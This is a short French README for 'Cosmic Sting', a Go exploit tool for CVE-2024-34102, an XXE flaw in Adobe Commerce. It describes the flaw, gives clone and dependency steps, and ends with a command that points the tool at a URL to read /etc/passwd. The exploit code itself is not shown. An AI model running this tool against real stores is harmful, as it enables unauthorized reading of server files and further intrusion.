Cosmic Sting : Exploiteur CVE-2024-34102

Cosmic Sting est un outil basé sur Go conçu pour exploiter CVE-2024-34102, une vulnérabilité d'exécution de code à distance.

Détails de CVE-2024-34102

Les versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 et antérieures d'Adobe Commerce sont affectées par une vulnérabilité de restriction incorrecte des références aux entités externes XML ('XXE') qui pourrait entraîner l'exécution de code arbitraire. Un attaquant pourrait exploiter cette vulnérabilité en envoyant un document XML malveillant qui référence des entités externes. L'exploitation de ce problème ne nécessite pas d'interaction de l'utilisateur.

Prérequis

• Go (1.16 ou supérieur)

Installation

1. Clonez le dépôt :

   root@kitploit:~

   git clone https://github.com/bughuntar/CVE-2024-34102.git &&
   cd CVE-2024-34102
   

2. Installez les dépendances (le cas échéant) :

   root@kitploit:~

   go version &&
   go mod init cosmic_sting &&
   go get github.com/fatih/color &&
   go get github.com/google/uuid &&
   go get github.com/urfave/cli/v2
   

URL unique

Pour exécuter l'outil avec une seule URL :

go run cosmic_sting.go -u "http://example.com" -f "/etc/passwd"